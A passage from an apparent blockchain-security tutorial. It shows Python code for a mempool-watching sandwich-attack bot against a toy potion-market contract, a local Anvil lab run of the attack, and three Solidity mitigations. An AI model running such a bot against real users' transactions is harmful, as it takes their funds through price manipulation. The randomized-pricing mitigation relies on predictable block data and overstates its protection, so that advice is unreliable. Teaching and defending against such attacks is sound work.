                if tx["to"] == CONTRACT_ADDRESS:
                    decoded_input = potion_contract.decode_function_input(tx["input"])
                    function_name = decoded_input[0].fn_name
                    args = decoded_input[1]

                    if function_name == "buyPotions" and args["amount"] >= POTION_THRESHOLD:
                        print(f"Interesting transaction detected: {tx_hash.hex()} | {args['amount']} potions")

                        # Fetch the current potion price
                        potion_price = potion_contract.functions.potionPrice().call()
                        print(f"Current potion price (Wei): {potion_price}")

                        # Execute front-running
                        print("Executing Front-Run...")
                        gas_price = int(web3.eth.gas_price * GAS_PRICE_MULTIPLIER)
                        value = int((args["amount"] + 5) * potion_price)
                        front_run_signed = build_signed_tx(
                            potion_contract.functions.buyPotions(args["amount"] + 5),
                            gas_price,
                            value=value
                        )
                        send_tx(front_run_signed)
                        print("Front-Run completed.")

                        # Wait for the victim's transaction to confirm
                        print("Waiting for the victim's transaction to confirm...")
                        while web3.eth.get_transaction_receipt(tx_hash) is None:
                            time.sleep(1)

                        # Execute back-running
                        print("Executing Back-Run...")
                        back_run_signed = build_signed_tx(
                            potion_contract.functions.sellPotions(args["amount"] + 5),
                            gas_price
                        )
                        send_tx(back_run_signed)
                        print("Back-Run completed. Sandwich Attack successful.")

                        # Calculate and display profits
                        final_balance = web3.eth.get_balance(ATTACKER["address"])
                        attack_profit = web3.from_wei(final_balance - initial_balance, "ether")
                        print(f"Profit from Sandwich Attack: {attack_profit:.4f} ETH")
                        return  # Exit after a successful attack

        except Exception as e:
            print(f"Error: {e}")
        time.sleep(1)

The bot continuously monitors the mempool for transactions involving the buyPotions function of the vulnerable contract. When it detects a qualifying transaction:

  • It performs a front-run by buying additional potions before the victim’s transaction.
  • After the victim’s transaction completes, it executes a back-run to sell the potions at the inflated price.

Finally, it calculates the profit from the attack and displays it.

The Sandwich Attack in Action

Now that we’ve explored the contract vulnerabilities, set up our validator, and simulated both the victim’s and attacker’s transactions, it’s time to tie everything together. The goal of this section is to walk you through the process step-by-step, showing how the pieces fit and explaining the final results of the Sandwich Attack. By the end, you’ll have a clear understanding of how an attacker profits from manipulating the mempool and price mechanics.

Setting Up the Network

Anvil set up

We start by initializing Anvil, Foundry’s blockchain simulation tool, configured with a custom block time of 20 seconds. This delay between blocks gives our validator enough time to monitor transactions in the mempool and execute the necessary front-running and back-running operations.

Configuring the Validator

Validator Running Output

Next, we execute the validator using nodemon, which continuously runs our script and restarts it automatically when changes are detected. This setup ensures a seamless monitoring experience, allowing the validator to stay active and responsive to pending transactions in the mempool.

Deploying the Contract and Simulating the Victim

With the network and validator ready, we utilize the deployment script previously discussed to deploy the MagicPotionMarket contract. This script handles everything from compiling the contract to deploying it and saving its address for later use.

Contract deployed

Once the contract is deployed successfully, we proceed to simulate the victim’s transaction. In this scenario, the victim attempts to purchase 10 potions, with the initial price set at 1 ETH per potion.

The victim’s purchase triggers an increase in the potion price, calculated as:

Price Increase=Amount Bought by Victim×0.01ETH\text{Price Increase} = \text{Amount Bought by Victim} \times 0.01 \, \text{ETH}

Price Increase=10×0.01=0.1ETH\text{Price Increase} = 10 \times 0.01 = 0.1 \, \text{ETH}

This dynamic pricing mechanism plays a crucial role in the profitability of the attack.

Victim's Transaction Output

The Attack in Action

Once the validator detects the victim’s transaction in the mempool, the bot initiates the Sandwich Attack. The bot executes a front-run, buying 15 potions before the victim. This front-run causes the potion price to rise by:

Price Increase from Front-Run=Amount Bought by Attacker×0.01ETH\text{Price Increase from Front-Run} = \text{Amount Bought by Attacker} \times 0.01 \, \text{ETH}

Price Increase from Front-Run=15×0.01=0.15ETH\text{Price Increase from Front-Run} = 15 \times 0.01 = 0.15 \, \text{ETH}

After the victim’s transaction is mined, the price rises further. Finally, the bot performs a back-run, selling its 15 potions at the new inflated price.

Bot Output with Sandwich Attack Results

The results of the attack are summarized by the bot. Without the attack, the attacker’s profit would have been zero. However, by leveraging the Sandwich Attack strategy, the bot calculates a total profit of 3.7499 ETH.

This profit is derived from the manipulation of the potion price through the front-running and back-running transactions. At a high level:

  1. Front-Run Cost: The bot buys 15 potions at the initial price of 1 ETH each, totaling 15 ETH.
  2. Back-Run Revenue: The bot sells these potions at the final inflated price after the victim’s transaction. With each potion increasing in price due to the victim and the attacker’s transactions, the bot sells at a significantly higher value, resulting in the profit.

The calculated profit of 3.7499 ETH reflects the effectiveness of the Sandwich Attack strategy in exploiting pricing dynamics.

Top Three Recommendations to Mitigate Sandwich Attacks

To address the vulnerabilities that enable Sandwich Attacks, we can apply some practical improvements to the MagicPotionMarket contract. These solutions aim to balance security and usability while making the contract much harder to exploit. Let’s explore these approaches and their implementation in a conversational manner.

Slippage Protection

A common way to prevent sandwich attacks is by giving users control over the maximum price they are willing to pay for potions. This ensures that if an attacker manipulates the price during the transaction, it simply reverts.

Here’s how we can do it:

function buyPotions(uint256 amount, uint256 maxPrice) external payable {
    require(potionPrice <= maxPrice, "Potion price exceeds slippage tolerance");
    require(msg.value == amount * potionPrice, "Incorrect ETH value sent");

    potionBalances[msg.sender] += amount;

    // Increment potion price based on demand
    potionPrice += (amount * 1 ether) / 100;
    require(potionPrice > 0, "Potion price overflow");

    emit PotionsBought(msg.sender, amount, potionPrice);
}

How does it work?
We added a maxPrice parameter. This acts as a safeguard for buyers, making sure their transaction only goes through if the potion price hasn’t increased beyond what they’re willing to pay. So, if an attacker tries to front-run, the transaction fails automatically if the price jumps too high.

Imagine submitting this transaction:

buyPotions(10, 1.1 ether); // Only processes if potionPrice ≤ 1.1 ETH

If the price suddenly spikes above 1.1 ether, the transaction reverts. Simple, but effective!

Private Transactions

Another powerful defense is to make transactions invisible to attackers by using private relayers, such as Flashbots. These tools bypass the public mempool entirely, so malicious actors can’t even see the transaction.

Here’s how we can integrate this concept:

mapping(address => bool) privateRelayer;

modifier onlyPrivateRelayer() {
    require(privateRelayer[msg.sender], "Must send via private relayer");
    _;
}

function buyPotionsPrivate(uint256 amount) external payable onlyPrivateRelayer {
    require(msg.value == amount * potionPrice, "Incorrect ETH value sent");

    potionBalances[msg.sender] += amount;

    // Adjust potion price
    potionPrice += (amount * 1 ether) / 100;
    require(potionPrice > 0, "Potion price overflow");

    emit PotionsBought(msg.sender, amount, potionPrice);
}

function addPrivateRelayer(address relayer) external onlyOwner {
    privateRelayer[relayer] = true;
}

How does it work?
Transactions can only come from addresses you’ve added to a whitelist (like trusted private relayers). Attackers can’t front-run what they can’t see. This is particularly effective if buyers are willing to use tools like Flashbots to interact with the contract.

Example:

addPrivateRelayer(flashbotsAddress);

Dynamic Pricing

Finally, adding unpredictability to potion price updates can throw attackers off. If the price adjustment isn’t deterministic, they can’t predict what will happen during their front-run.

Here’s an example:

function buyPotions(uint256 amount) external payable {
    require(msg.value == amount * potionPrice, "Incorrect ETH value sent");

    potionBalances[msg.sender] += amount;

    // Dynamic pricing: Add randomness to price adjustment
    uint256 priceImpact = (amount * 1 ether) / 100;
    potionPrice += priceImpact + uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 0.01 ether;
    require(potionPrice > 0, "Potion price overflow");

    emit PotionsBought(msg.sender, amount, potionPrice);
}

How does it work?
This method adds a random element using keccak256, which combines factors like the block timestamp and buyer address. Attackers can’t predict the potion price after a purchase, making it nearly impossible to plan a profitable sandwich attack.

Conclusion

This chapter provided a deep dive into the intricacies of the Sandwich Attack, not just in theory but through a hands-on implementation. Along the way, we uncovered critical lessons that extend beyond the specific attack and offer broader insights into blockchain security and decentralized ecosystems:

  1. Understanding the Attack Workflow: By recreating the Sandwich Attack step-by-step, we gained a clear picture of how front-running and back-running work in tandem to exploit transaction ordering. This attack highlights how attackers can leverage transparency in the mempool to manipulate prices and extract profits—3.7499 ETH in our case.
  2. Tools and Automation: The chapter demonstrated the power of using specialized tools such as Anvil for network simulation, Cast for transaction management, and a Python bot to automate the attack process. These tools not only simplified our implementation but also revealed how accessible such attacks can be with the right setup.
  3. Analyzing Attack Impact: The exercise highlighted the financial impact of the Sandwich Attack, both on the attacker’s profitability and the victim’s transaction costs. This reinforces the importance of understanding these dynamics when designing smart contracts or decentralized marketplaces.
  4. Building Security Awareness: The most significant takeaway is the need for awareness. Understanding the mechanics of such attacks allows developers, users, and auditors to anticipate vulnerabilities and implement measures to reduce exposure, such as slippage protection, private transactions, or alternative sequencing strategies.

References

Chapters

Botón Anterior
Breaking the Bet: Simulating Flash Loan Attacks in Decentralized Systems

Previous chapter

Breaking the Bank: Exploiting Integer Underflow in Smart Contracts

Next chapter